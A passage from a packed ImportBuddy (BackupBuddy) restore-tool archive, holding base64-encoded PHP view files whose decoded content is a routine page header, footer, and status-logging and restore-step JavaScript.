J5IiAvPiA8c3BhbiBjbGFzcz0iZGVzY3JpcHRpb24iPkNhdXRpb247IHRoaXMgY2Fubm90IGJlIHVuZG9uZS4gU2VyaWFsaXplZCBkYXRhIGlzIGhhbmRsZWQgYnkgdGhpcyByZXBsYWNlbWVudC48L3NwYW4+CgkJPC9wPgoJPC9mb3JtPgo8L2Rpdj4K
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/_dbreplace.php,importbuddy/views/_dbreplace.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/_footer.php,importbuddy/views/_footer.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9Cj8+Cgo8L2Rpdj4KPC9kaXY+CgoKPC9ib2R5Pgo8L2h0bWw+Cg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/_footer.php,importbuddy/views/_footer.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/_header.php,importbuddy/views/_header.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9Cj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgIGRpcj0ibHRyIiBsYW5nPSJlbi1VUyI+Cgk8aGVhZD4KCQk8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CgkJPHRpdGxlPkltcG9ydEJ1ZGR5IHY8P3BocCBlY2hvIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snYmJfdmVyc2lvbiddOyA/PiBSZXN0b3JlIC8gTWlncmF0aW9uIFRvb2wgLSBQb3dlcmVkIGJ5IEJhY2t1cEJ1ZGR5PC90aXRsZT4KCQk8bWV0YSBuYW1lPSJST0JPVFMiIGNvbnRlbnQ9Ik5PSU5ERVgsIE5PRk9MTE9XIj4KCgkJPD9waHAKCQlyZXF1aXJlKCAnX2Fzc2V0cy5waHAnICk7CgkJPz4KCgkJPGxpbmsgcmVsPSJpY29uIiB0eXBlPSJpbWFnZS9wbmciIGhyZWY9ImltcG9ydGJ1ZGR5L2ltYWdlcy9mYXZpY29uLnBuZyI+CgkJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJCQl3aW5kb3cub25lcnJvcj1mdW5jdGlvbiggZXJyb3JNc2csIHVybCwgbGluZU51bWJlciwgY29sTnVtYmVyLCBlcnJvciApewoJCQkJYWxlcnQoICJFcnJvciAjNDM5NzQzOiBBIGphdmFzY3JpcHQgZXJyb3Igb2NjdXJyZWQgd2hpY2ggTUFZIHByZXZlbnQgdGhlIHJlc3RvcmUgZnJvbSBjb250aW51aW5nLiBfSUZfIHRoZSBwcm9jZXNzIGxldHMgeW91IHByb2NlZWQgdGhlbiBpZ25vcmUgdGhpcyBtZXNzYWdlLiBDaGVjayB0aGUgU3RhdHVzIExvZyBvciBicm93c2VyIGVycm9yIGNvbnNvbGUgZm9yIHRyYWNlIGRldGFpbHMuXG5cbk1lc3NhZ2U6IGAiICsgZXJyb3JNc2cgKyAiYC5cblVSTDogYCIgKyB1cmwgKyAiYC5cbkxpbmU6IGAiICsgbGluZU51bWJlciArICJgIiApOwoJCQkJYmFja3VwYnVkZHlfbG9nKCAnSmF2YXNjcmlwdCBFcnJvci4gTWVzc2FnZTogYCcgKyBlcnJvck1zZyArICdgLCBVUkw6IGAnICsgdXJsICsgJ2AsIExpbmU6IGAnICsgbGluZU51bWJlciArICdgLCBDb2w6IGAnICsgY29sTnVtYmVyICsgJ2AsIFRyYWNlOiBgJyArIGVycm9yLnN0YWNrICsgJ2AuJyApOyAvLyBBdHRlbXB0IHRvIGxvZy4KCQkJfQoKCQkJdmFyIHN0YXR1c0JveDsgLy8gTWFrZSBnbG9iYWwuCgkJCXZhciBiYWNrdXBidWRkeV9lcnJvcnNfZW5jb3VudGVyZWQgPSAwOyAvLyBudW1iZXIgb2YgZXJyb3JzIHNlbnQgdmlhIGxvZy4KCgkJCWZ1bmN0aW9uIHBiX3N0YXR1c19hcHBlbmQoIGpzb24gKSB7CgkJCQlpZiAoICd1bmRlZmluZWQnID09PSB0eXBlb2Ygc3RhdHVzQm94ICkgeyAvLyBObyBzdGF0dXMgYm94IHlldCBzbyBtYXkgbmVlZCB0byBjcmVhdGUgaXQuCgkJCQkJc3RhdHVzQm94ID0galF1ZXJ5KCAnI2JhY2t1cGJ1ZGR5X21lc3NhZ2VzJyApOwoJCQkJCWlmKCBzdGF0dXNCb3gubGVuZ3RoID09IDAgKSB7IC8vIE5vIHN0YXR1cyBib3ggeWV0IHNvIHN1cHByZXNzLgoJCQkJCQlyZXR1cm47CgkJCQkJfQoJCQkJfQoKCQkJCWlmICggJ3N0cmluZycgPT0gKCB0eXBlb2YganNvbiApICkgewoJCQkJCWJhY2t1cGJ1ZGR5X2xvZygganNvbiApOwoJCQkJCWNvbnNvbGUubG9nKCAnU3RhdHVzIGxvZyByZWNlaXZlZCBzdHJpbmc6ICcgKyBqc29uICk7CgkJCQkJcmV0dXJuOwoJCQkJfQoKCQkJCS8vIFVzZWQgaW4gQmFja3VwQnVkZHkgX2JhY2t1cC1wZXJmb3JtLnBocCBhbmQgSW1wb3J0QnVkZHkgX2hlYWRlci5waHAKCQkJCWpzb24uZGF0ZSA9IG5ldyBEYXRlKCk7CgkJCQlqc29uLmRhdGUgPSBuZXcgRGF0ZSggICgganNvbi50aW1lICogMTAwMCApICsganNvbi5kYXRlLmdldFRpbWV6b25lT2Zmc2V0KCkgKiA2MDAwMCApOwoJCQkJdmFyIHNlY29uZHMgPSBqc29uLmRhdGUuZ2V0U2Vjb25kcygpOwoJCQkJaWYgKCBzZWNvbmRzIDwgMTAgKSB7CgkJCQkJc2Vjb25kcyA9ICcwJyArIHNlY29uZHM7CgkJCQl9CgkJCQlqc29uLmRhdGUgPSBiYWNrdXBidWRkeV9ob3VycGFkKCBqc29uLmRhdGUuZ2V0SG91cnMoKSApICsgJzonICsganNvbi5kYXRlLmdldE1pbnV0ZXMoKSArICc6JyArIHNlY29uZHM7CgoJCQkJdHJpZ2dlckV2ZW50ID0gJ2JhY2t1cGJ1ZGR5XycgKyBqc29uLmV2ZW50OwoKCgkJCQkvLyBMb2cgbm9uLXRleHQgZXZlbnRzLgoJCQkJaWYgKCAoICdkZXRhaWxzJyAhPT0ganNvbi5ldmVudCApICYmICggJ21lc3NhZ2UnICE9PSBqc29uLmV2ZW50ICkgJiYgKCAnZXJyb3InICE9PSBqc29uLmV2ZW50ICkgKSB7CgkJCQkJLy9jb25zb2xlLmxvZyggJ05vbi10ZXh0IGV2ZW50IGAnICsgdHJpZ2dlckV2ZW50ICsgJ2AuJyApOwoJCQkJfSBlbHNlIHsKCQkJCQkvL2NvbnNvbGUubG9nKCBqc29uLmRhdGEgKTsKCQkJCX0KCQkJCS8vY29uc29sZS5sb2coICd0cmlnZ2VyOiAnICsgdHJpZ2dlckV2ZW50ICk7CgoJCQkJalF1ZXJ5KCcjYmFja3VwYnVkZHlfbWVzc2FnZXMnKS50cmlnZ2VyKCB0cmlnZ2VyRXZlbnQsIFtqc29uXSApOwoKCgkJCX0gLy8gRW5kIGZ1bmN0aW9uIHBiX3N0YXR1c19hcHBlbmQoKS4KCgoJCQkvLyBVc2VkIGluIEJhY2t1cEJ1ZGR5IF9iYWNrdXAtcGVyZm9ybS5waHAgYW5kIEltcG9ydEJ1ZGR5IF9oZWFkZXIucGhwIGFuZCBfcm9sbGJhY2sucGhwCgkJCWZ1bmN0aW9uIGJhY2t1cGJ1ZGR5X2xvZygganNvbiwgY2xhc3NUeXBlICkgewoJCQkJaWYgKCAndW5kZWZpbmVkJyA9PT0gdHlwZW9mIHN0YXR1c0JveCApIHsgLy8gTm8gc3RhdHVzIGJveCB5ZXQgc28gbWF5IG5lZWQgdG8gY3JlYXRlIGl0LgoJCQkJCXN0YXR1c0JveCA9IGpRdWVyeSggJyNiYWNrdXBidWRkeV9tZXNzYWdlcycgKTsKCQkJCQlpZiggc3RhdHVzQm94Lmxlbmd0aCA9PSAwICkgeyAvLyBObyBzdGF0dXMgYm94IHlldCBzbyBzdXBwcmVzcy4KCQkJCQkJcmV0dXJuOwoJCQkJCX0KCQkJCX0KCgkJCQltZXNzYWdlID0gJyc7CgoJCQkJaWYgKCAnc3RyaW5nJyA9PSAoIHR5cGVvZiBqc29uICkgKSB7CgkJCQkJaWYgKCAnJyAhPT0gY2xhc3NUeXBlICkgewoJCQkJCQlqc29uID0gJzxzcGFuIGNsYXNzPSJiYWNrdXBidWRkeV9sb2dfJyArIGNsYXNzVHlwZSArICciPicgKyBqc29uICsgJzwvc3Bhbj4nOwoJCQkJCX0KCQkJCQltZXNzYWdlID0gIi0tLS0tLS0tLS0tXHRcdC0tLS0tLS1cdC0tLS0tLS1cdCIgKyBqc29uOwoJCQkJfSBlbHNlIHsKCQkJCQlpZiAoICcnICE9PSBjbGFzc1R5cGUgKSB7CgkJCQkJCWpzb24uZGF0YSA9ICc8c3BhbiBjbGFzcz0iYmFja3VwYnVkZHlfbG9nXycgKyBjbGFzc1R5cGUgKyAnIj4nICsganNvbi5kYXRhICsgJzwvc3Bhbj4nOwoJCQkJCX0KCQkJCQltZXNzYWdlID0ganNvbi5kYXRlICsgJy4nICsganNvbi51ICsgIiBcdCIgKyBqc29uLnJ1biArICJzZWMgXHQiICsganNvbi5tZW0gKyAiTUJcdCIgKyBqc29uLmRhdGE7CgkJCQl9CgoJCQkJc3RhdHVzQm94LmFwcGVuZCggIlxyXG4iICsgbWVzc2FnZSApOwoJCQkJc3RhdHVzQm94LnNjcm9sbFRvcCggc3RhdHVzQm94WzBdLnNjcm9sbEhlaWdodCAtIHN0YXR1c0JveC5oZWlnaHQoKSApOwoKCQkJfQoKCgkJCS8vIFRyaWdnZXIgYW4gZXJyb3IgdG8gYmUgbG9nZ2VkLCBkaXNwbGF5ZWQsIGV0Yy4KCQkJLy8gUmV0dXJucyB1cGRhdGVkIG1lc3NhZ2Ugd2l0aCB0cm91YmxlIFVSTCwgZXRjLgoJCQkvLyBVc2VkIGluIEJhY2t1cEJ1ZGR5IF9iYWNrdXAtcGVyZm9ybS5waHAgYW5kIEltcG9ydEJ1ZGR5IF9oZWFkZXIucGhwCgkJCWZ1bmN0aW9uIGJhY2t1cGJ1ZGR5RXJyb3IoIG1lc3NhZ2UgKSB7CgoJCQkJLy8gR2V0IHN0YXJ0IG9mIGFueSBlcnJvciBudW1iZXJzLgoJCQkJdHJvdWJsZVVSTCA9ICcnOwoJCQkJZXJyb3JfbnVtYmVyX2JlZ2luID0gbWVzc2FnZS50b0xvd2VyQ2FzZSgpLmluZGV4T2YoICdlcnJvciAjJyApOwoKCQkJCWlmICggZXJyb3JfbnVtYmVyX2JlZ2luID49IDAgKSB7CgkJCQkJZXJyb3JfbnVtYmVyX2JlZ2luICs9IDc7IC8vIFNoaWZ0IG92ZXIgaW5kZXggdG8gYWZ0ZXIgJ2Vycm9yICMnLgoJCQkJCWVycm9yX251bWJlcl9lbmQgPSBtZXNzYWdlLnRvTG93ZXJDYXNlKCkuaW5kZXhPZiggJzonLCBlcnJvcl9udW1iZXJfYmVnaW4gKTsKCQkJCQlpZiAoIGVycm9yX251bWJlcl9lbmQgPCAwICkgeyAvLyBFbmQgc3RpbGwgbm90IGZvdW5kLgoJCQkJCQllcnJvcl9udW1iZXJfZW5kID0gbWVzc2FnZS50b0xvd2VyQ2FzZSgpLmluZGV4T2YoICcuJywgZXJyb3JfbnVtYmVyX2JlZ2luICk7CgkJCQkJfQoJCQkJCWlmICggZXJyb3JfbnVtYmVyX2VuZCA8IDAgKSB7IC8vIEVuZCBzdGlsbCBub3QgZm91bmQuCgkJCQkJCWVycm9yX251bWJlcl9lbmQgPSBtZXNzYWdlLnRvTG93ZXJDYXNlKCkuaW5kZXhPZiggJyAnLCBlcnJvcl9udW1iZXJfYmVnaW4gKTsKCQkJCQl9CgkJCQkJZXJyb3JfbnVtYmVyID0gbWVzc2FnZS5zbGljZSggZXJyb3JfbnVtYmVyX2JlZ2luLCBlcnJvcl9udW1iZXJfZW5kICk7CgkJCQkJdHJvdWJsZVVSTCA9ICdodHRwczovL2l0aGVtZXNoZWxwLnplbmRlc2suY29tL2hjL2VuLXVzL2FydGljbGVzLzIxMTEzMjM3Ny1FcnJvci1Db2Rlcy0jJyArIGVycm9yX251bWJlcjsKCQkJCX0KCgkJCQlpZiAoICcnICE9PSB0cm91YmxlVVJMICkgewoJCQkJCS8vIERpc3BsYXkgZXJyb3IgaW4gZXJyb3IgZGl2IHdpdGggY2xhc3MgZXJyb3JfYWxlcnRfYm94LgoJCQkJCW1lc3NhZ2UgPSBtZXNzYWdlICsgJyA8YSBocmVmPSInICsgdHJvdWJsZVVSTCArICciIHRhcmdldD0iX2JsYW5rIj5DbGljayB0byA8Yj52aWV3IGVycm9yIGRldGFpbHM8L2I+IGluIHRoZSBLbm93bGVkZ2UgQmFzZTwvYT4nOwoJCQkJfQoJCQkJalF1ZXJ5KCAnLmJhY2t1cGJ1ZGR5X2Vycm9yX2xpc3QnICkuYXBwZW5kKCAnPGxpPicgKyAgbWVzc2FnZSArICc8L2xpPicgKTsKCQkJCWpRdWVyeSggJy5lcnJvcl9hbGVydF9ib3gnICkuc2hvdygpOwoKCQkJCS8vIERpc3BsYXkgZXJyb3IgYm94IHRvIG1ha2UgaXQgY2xlYXIgZXJyb3JzIHdlcmUgZW5jb3VudGVyZWQuCgkJCQliYWNrdXBidWRkeV9lcnJvcnNfZW5jb3VudGVyZWQrKzsKCQkJCWpRdWVyeSggJyNiYWNrdXBidWRkeV9lcnJvcnNfbm90aWNlX2NvdW50JyApLnRleHQoIGJhY2t1cGJ1ZGR5X2Vycm9yc19lbmNvdW50ZXJlZCApOwoJCQkJalF1ZXJ5KCAnI2JhY2t1cGJ1ZGR5X2Vycm9yc19ub3RpY2UnICkuc2xpZGVEb3duKCk7CgoJCQkJLy8gSWYgdGhlIHdvcmQgZXJyb3IgaXMgbm93aGVyZSBpbiB0aGUgZXJyb3IgbWVzc2FnZSB0aGVuIGFkZCBpbiBlcnJvciBwcmVmaXguCgkJCQlpZiAoIG1lc3NhZ2UudG9Mb3dlckNhc2UoKS5pbmRleE9mKCAnZXJyb3InICkgPCAwICkgewoJCQkJCW1lc3NhZ2UgPSAnRVJST1I6ICcgKyBtZXNzYWdlOwoJCQkJfQoKCgkJCQlyZXR1cm4gbWVzc2FnZTsgLy8gUmV0dXJuIHVwZGF0ZWQgZXJyb3IgbWVzc2FnZSB3aXRoIHRyb3VibGUgVVJMLgoJCQl9IC8vIGVuZCBiYWNrdXBidWRkeUVycm9yKCkuCgoKCQkJLy8gVXNlZCBpbiBCYWNrdXBCdWRkeSBfYmFja3VwLXBlcmZvcm0ucGhwIGFuZCBJbXBvcnRCdWRkeSBfaGVhZGVyLnBocAoJCQlmdW5jdGlvbiBiYWNrdXBidWRkeVdhcm5pbmcoIG1lc3NhZ2UgKSB7CgkJCQlqUXVlcnkoICcuYmFja3VwYnVkZHlfd2FybmluZ19saXN0JyApLmFwcGVuZCggJzxsaT4nICsgIG1lc3NhZ2UgKyAnPC9saT4nICk7CgkJCQkvL2pRdWVyeSggJy53YXJuaW5nX2FsZXJ0X2JveCcgKS5zaG93KCk7CgkJCQlyZXR1cm4gJ1dhcm5pbmc6ICcgKyBtZXNzYWdlOwoJCQl9IC8vIGVuZCBiYWNrdXBidWRkeVdhcm5pbmcoKS4KCgkJCS8vIGxlZnQgaG91ciBwYWQgd2l0aCB6ZXJvcwoJCQlmdW5jdGlvbiBiYWNrdXBidWRkeV9ob3VycGFkKG4pIHsgcmV0dXJuICgiMCIgKyBuKS5zbGljZSgtMik7IH0KCgkJCWZ1bmN0aW9uIHJhbmRvbVN0cmluZyhsZW5ndGgsIGNoYXJzKSB7CgkJCQl2YXIgcmVzdWx0ID0gJyc7CgkJCQlmb3IgKHZhciBpID0gbGVuZ3RoOyBpID4gMDsgLS1pKSByZXN1bHQgKz0gY2hhcnNbTWF0aC5yb3VuZChNYXRoLnJhbmRvbSgpICogKGNoYXJzLmxlbmd0aCAtIDEpKV07CgkJCQlyZXR1cm4gcmVzdWx0OwoJCQl9CgoKCQk8L3NjcmlwdD4KCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJpbXBvcnRidWRkeS9qcy9qcXVlcnkubGVhbk1vZGFsLm1pbi5qcyI+PC9zY3JpcHQ+CgkJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaW1wb3J0YnVkZHkvanMvZWpzLmpzIj48L3NjcmlwdD4KCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJpbXBvcnRidWRkeS9qcy9tYWluLmpzIj48L3NjcmlwdD4KCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJpbXBvcnRidWRkeS9qcy9yZXN0b3JlRXZlbnRzLmpzIj48L3NjcmlwdD4KCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CgkJCUVKUy5jb25maWcoe2NhY2hlOiBmYWxzZX0pOwoKCQkJd2luZG93LnJlc3RvcmVEYXRhID0ge307CgoJCQlqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCkgewoJCQkJalF1ZXJ5KCcubGVhbk1vZGFsJykubGVhbk1vZGFsKAoJCQkJCXsgdG9wIDogNDUsIG92ZXJsYXkgOiAwLjQsIGNsb3NlQnV0dG9uOiAiLm1vZGFsX2Nsb3NlIiB9CgkJCQkpOwoKCQkJCS8qIE1ENSBIYXNoIEJ1dHRvbiBDbGlja2VkICovCgkJCQlqUXVlcnkoICcudmlld19oYXNoX2NsaWNrJyApLmNsaWNrKCBmdW5jdGlvbigpIHsKCQkJCQlqUXVlcnkoJyNoYXNoX3ZpZXdfbG9hZGluZycpLnNob3coKTsKCQkJCQlqUXVlcnkoJyNoYXNoX3ZpZXdfcmVzcG9uc2UnKS5oaWRlKCk7CgoJCQkJCXZhciBiYWNrdXBGaWxlID0galF1ZXJ5KHRoaXMpLmF0dHIoICdkYXRhLWZpbGUnICk7CgkJCQkJalF1ZXJ5LmFqYXgoewoJCQkJCQl0eXBlOiAnUE9TVCcsCgkJCQkJCXVybDogJ2ltcG9ydGJ1ZGR5LnBocCcsCgkJCQkJCWRhdGE6IHsKCQkJCQkJCWFqYXg6ICdmaWxlX2hhc2gnLAoJCQkJCQkJZmlsZTogYmFja3VwRmlsZQoJCQkJCQl9LAoJCQkJCQlkYXRhVHlwZTogJ2pzb24nCgkJCQkJfSkuZG9uZSggZnVuY3Rpb24oZGF0YSkgewoJCQkJCQlqUXVlcnkoJyNoYXNoX3ZpZXdfcmVzcG9uc2UnKS5odG1sKCAnPGI+Q2hlY2tzdW0gKE1ENSBoYXNoKTo8L2I+IDxpbnB1dCB0eXBlPSJ0ZXh0IiByZWFkb25seT0idHJ1ZSIgdmFsdWU9IicgKyBkYXRhLmhhc2ggKyAnIiBzdHlsZT0id2lkdGg6IDQwMHB4OyI+JyApOwoJCQkJCQlqUXVlcnkoJyNoYXNoX3ZpZXdfbG9hZGluZycpLmhpZGUoKTsKCQkJCQkJalF1ZXJ5KCcjaGFzaF92aWV3X3Jlc3BvbnNlJykuc2hvdygpOwoJCQkJCX0pLmZhaWwoIGZ1bmN0aW9uKCBqcVhIUiwgdGV4dFN0YXR1cywgZXJyb3JUaHJvd24gKXsKCQkJCQkJalF1ZXJ5KCcjaGFzaF92aWV3X3Jlc3BvbnNlJykuaHRtbCggJ0Vycm9yOiBgJyArIGpxWEhSLnJlc3BvbnNlVGV4dCArICdgLicgKTsKCQkJCQkJalF1ZXJ5KCcjaGFzaF92aWV3X2xvYWRpbmcnKS5oaWRlKCk7CgkJCQkJCWpRdWVyeSgnI2hhc2hfdmlld19yZXNwb25zZScpLnNob3coKTsKCQkJCQl9KTsKCQkJCX0pOwoKCgoJCQkJalF1ZXJ5KCAnLm1haW5fYm94JyApLm9uKCAnc3VibWl0JywgJ2Zvcm0nLCBmdW5jdGlvbihlKSB7CgkJCQkJaWYgKCAnbWluaUZyYW1lJyA9PSBqUXVlcnkodGhpcykuYXR0ciggJ3RhcmdldCcgKSApIHsKCQkJCQkJTlByb2dyZXNzLnN0YXJ0KCk7CgkJCQkJfQoJCQkJCXJldHVybiB0cnVlOwoJCQkJfSk7CgoJCQkJLy8gUHJlLWxvYWQgZmluYWwgc3RlcHMgc28gaXQgY2FuIGJlIGRpc3BsYXllZCBldmVuIHRob3VnaCBkZWxldGVkLgoJCQkJd2luZG93LnN0ZXBUZW1wbGF0ZUNsZWFudXBTZXR0aW5ncyA9IG5ldyBFSlMoe3VybDogJ2ltcG9ydGJ1ZGR5L3ZpZXdzL2NsZWFudXBTZXR0aW5ncy5odG0nfSk7CgkJCQl3aW5kb3cuc3RlcFRlbXBsYXRlZmluYWxDbGVhbnVwID0gbmV3IEVKUyh7dXJsOiAnaW1wb3J0YnVkZHkvdmlld3MvZmluYWxDbGVhbnVwLmh0bSd9KTsKCgkJCX0pOwoKCgkJCWZ1bmN0aW9uIGJiX2FjdGlvbiggYWN0aW9uLCBub3RlICkgewoJCQkJY29uc29sZS5sb2coICdiYl9hY3Rpb246IGAnICsgYWN0aW9uICsgJ2AuJyApOwoJCQkJaWYgKCAndW56aXBTdWNjZXNzJyA9PSBhY3Rpb24gKSB7CgkJCQl9IGVsc2UgaWYgKCAnaWZyYW1lTG9hZGVkJyA9PSBhY3Rpb24gKSB7IC8vIEhpZGUgaWZyYW1lIGxvYWRpbmcgZ3JhcGhpYy4KCQkJCQkvL05Qcm9ncmVzcy5kb25lKCk7CgkJCQl9IGVsc2UgaWYgKCAnaW1wb3J0aW5nVGFibGUnID09IGFjdGlvbiApIHsKCQkJCQlqUXVlcnkoJyNpbXBvcnRpbmdEYXRhYmFzZS1wcm9ncmVzc01lc3NhZ2UnKS50ZXh0KCAnUmVzdG9yaW5nICcgKyBub3RlICsgJyAuLi4nICk7IC8vIG5vdGUgY29udGFpbnMgdGFibGUgbmFtZQoJCQkJfSBlbHNlIGlmICggJ2RhdGFiYXNlUmVzdG9yZVN1Y2Nlc3MnID09IGFjdGlvbiApIHsKCQkJCQlqUXVlcnkoJyNpbXBvcnRpbmdEYXRhYmFzZS1wcm9ncmVzc01lc3NhZ2UnKS50ZXh0KCAnRGF0YWJhc2UgUmVzdG9yZSBTdWNjZXNzZnVsJyApLmFkZENsYXNzKCAnYW5pbWF0ZWQgZmFkZUluRG93bicgKTsKCQkJCX0gZWxzZSBpZiAoICdkYXRhYmFzZVJlc3RvcmVTa2lwcGVkJyA9PSBhY3Rpb24gKSB7CgkJCQkJalF1ZXJ5KCcjaW1wb3J0aW5nRGF0YWJhc2UtcHJvZ3Jlc3NNZXNzYWdlJykudGV4dCggJ0RhdGFiYXNlIFJlc3RvcmUgU2tpcHBlZCcgKS5hZGRDbGFzcyggJ2FuaW1hdGVkIHN3aW5nJyApOwoJCQkJfSBlbHNlIGlmICggJ2RhdGFiYXNlUmVzdG9yZUZhaWxlZCcgPT0gYWN0aW9uICkgewoJCQkJCWpRdWVyeSgnI2ltcG9ydGluZ0RhdGFiYXNlLXByb2dyZXNzTWVzc2FnZScpLnRleHQoICdEYXRhYmFzZSBSZXN0b3JlIEZhaWxlZCcgKS5hZGRDbGFzcyggJ2FuaW1hdGVkIHdvYmJsZScgKTsKCQkJCX0gZWxzZSBpZiAoICdkYXRhYmFzZU1pZ3JhdGlvblN1Y2Nlc3MnID09IGFjdGlvbiApIHsKCQkJCQlqUXVlcnkoJyNtaWdyYXRpbmdEYXRhYmFzZS1wcm9ncmVzc01lc3NhZ2UnKS50ZXh0KCAnRGF0YWJhc2UgTWlncmF0aW9uIFN1Y2Nlc3NmdWwnICkuYWRkQ2xhc3MoICdhbmltYXRlZCBmYWRlSW5Eb3duJyApOwoJCQkJfSBlbHNlIGlmICggJ2RhdGFiYXNlTWlncmF0aW9uU2tpcHBlZCcgPT0gYWN0aW9uICkgewoJCQkJCWpRdWVyeSgnI21pZ3JhdGluZ0RhdGFiYXNlLXByb2dyZXNzTWVzc2FnZScpLnRleHQoICdEYXRhYmFzZSBNaWdyYXRpb24gU2tpcHBlZCcgKS5hZGRDbGFzcyggJ2FuaW1hdGVkIHN3aW5nJyApOwoJCQkJfSBlbHNlIGlmICggJ2RhdGFiYXNlTWlncmF0aW9uRmFpbGVkJyA9PSBhY3Rpb24gKSB7CgkJCQkJalF1ZXJ5KCcjbWlncmF0aW5nRGF0YWJhc2UtcHJvZ3Jlc3NNZXNzYWdlJykudGV4dCggJ0RhdGFiYXNlIE1pZ3JhdGlvbiBGYWlsZWQnICkuYWRkQ2xhc3MoICdhbmltYXRlZCB3b2JibGUnICk7CgkJCQl9IGVsc2UgaWYgKCAnZmlsZXNSZXN0b3JlU3VjY2VzcycgPT0gYWN0aW9uICkgewoJCQkJCWpRdWVyeSgnI3VuemlwcGluZ0ZpbGVzLXByb2dyZXNzTWVzc2FnZScpLnRleHQoICdDb21wbGV0ZWQgUmVzdG9yaW5nIEZpbGVzJyApLmFkZENsYXNzKCAnYW5pbWF0ZWQgZmFkZUluRG93bicgKTsKCQkJCX0gZWxzZSBpZiAoICdmaWxlc1Jlc3RvcmVTa2lwcGVkJyA9PSBhY3Rpb24gKSB7CgkJCQkJalF1ZXJ5KCcjdW56aXBwaW5nRmlsZXMtcHJvZ3Jlc3NNZXNzYWdlJykudGV4dCggJ1NraXBwZWQgUmVzdG9yaW5nIEZpbGVzJyApLmFkZENsYXNzKCAnYW5pbWF0ZWQgc3dpbmcnICk7CgkJCQl9IGVsc2UgewoJCQkJCWNvbnNvbGUubG9nKCAnVW5rbm93biBKUyBiYl9hY3Rpb24gYCcgKyBhY3Rpb24gKyAnYCB3aXRoIG5vdGUgYCcgKyBub3RlICsgJ2AuJyApOwoJCQkJfQoJCQl9CgoKCQkJZnVuY3Rpb24gYmJfc2hvd1N0ZXAoIHN0ZXAsIGRhdGEgKSB7CgkJCQl3aW5kb3cucmVzdG9yZURhdGEgPSBkYXRhOwoJCQkJalF1ZXJ5KCcuc3RlcC13cmFwJykuaGlkZSgpOwoJCQkJY29uc29sZS5sb2coICdTaG93IHN0ZXA6IGAnICsgc3RlcCArICdgLicgKTsKCQkJCWNvbnNvbGUuZGlyKCB3aW5kb3cucmVzdG9yZURhdGEgKTsKCQkJCWJhY2t1cGJ1ZGR5X2xvZyggJ0xvYWRpbmcgc3RlcCBgJyArIHN0ZXAgKyAnYC4nKTsKCgkJCQkvL2pRdWVyeSgnLnN0ZXAtJyArIHN0ZXAgKyAnLXdyYXAnKS5zaG93KCk7CgkJCQlpZiAoICdmaW5pc2hlZCcgPT0gc3RlcCApIHsgLy8gSW4gY2FzZSB3ZSBjYW5ub3QgbG9hZCBmaW5hbCB0ZW1wbGF0ZSwgYXQgbGVhc3Qgc2F5IGZpbmlzaGVkLgoJCQkJCWpRdWVyeSgnLm1haW5fYm94X2Zvb3QnKS5odG1sKCAnPGgzPkZpbmlzaGVkPC9oMz4nICk7CgkJCQl9CgoJCQkJaWYgKCAnY2xlYW51cFNldHRpbmdzJyA9PSBzdGVwICkgeyAvLyBQcmVsb2FkZWQgdGVtcGxhdGUuCgkJCQkJalF1ZXJ5KCcubWFpbl9ib3gnKS5odG1sKCB3aW5kb3cuc3RlcFRlbXBsYXRlQ2xlYW51cFNldHRpbmdzLnJlbmRlcihkYXRhKSApOwoJCQkJfSBlbHNlIGlmICggJ2ZpbmFsQ2xlYW51cCcgPT0gc3RlcCApIHsKCQkJCQlqUXVlcnkoJy5tYWluX2JveCcpLmh0bWwoIGp3aW5kb3cuc3RlcFRlbXBsYXRlZmluYWxDbGVhbnVwLnJlbmRlcihkYXRhKSApOwoJCQkJfSBlbHNlIHsgLy8gTm9ybWFsIHN0ZXAuCgkJCQkJaWYgKCBzdGVwID09ICdkYXRhYmFzZVNldHRpbmdzJyApIHsKCQkJCQkJLy8gRW5jb2RlIGRvdWJsZSBxdW90ZXMgYmVmb3JlIHBhc3NpbmcgdG8gdmFsdWU9IiIKCQkJCQkJZGF0YS5kYXQuZGJfcGFzc3dvcmQgPSBkYXRhLmRhdC5kYl9wYXNzd29yZC5yZXBsYWNlKC8iL2csICcmcXVvdDsnKTsKCQkJCQl9CgkJCQkJalF1ZXJ5KCcubWFpbl9ib3gnKS5odG1sKCBuZXcgRUpTKHt1cmw6ICdpbXBvcnRidWRkeS92aWV3cy8nICsgc3RlcCArICcuaHRtJ30pLnJlbmRlcihkYXRhKSApOwoJCQkJfQoJCQl9CgoKCQkJZnVuY3Rpb24gdGlwKCB0aXAgKSB7CgkJCQlyZXR1cm4gJzxhIGNsYXNzPSJwbHVnaW5idWRkeV90aXAiIHRpdGxlPSInICsgdGlwICsgJyI+PGltZyBzcmM9ImltcG9ydGJ1ZGR5L3BsdWdpbmJ1ZGR5L2ltYWdlcy9wbHVnaW5idWRkeV90aXAucG5nIiBhbHQ9Iig/KSI+PC9hPic7CgkJCX0KCgoJCTwvc2NyaXB0PgoJCTxzdHlsZT4KCQkJI2JhY2t1cGJ1ZGR5X21lc3NhZ2VzIHsKCQkJCWJhY2tncm91bmQ6ICNmZmY7CgkJCQlib3JkZXI6IDFweCBzb2xpZCAjQ0ZDRkNGOwoJC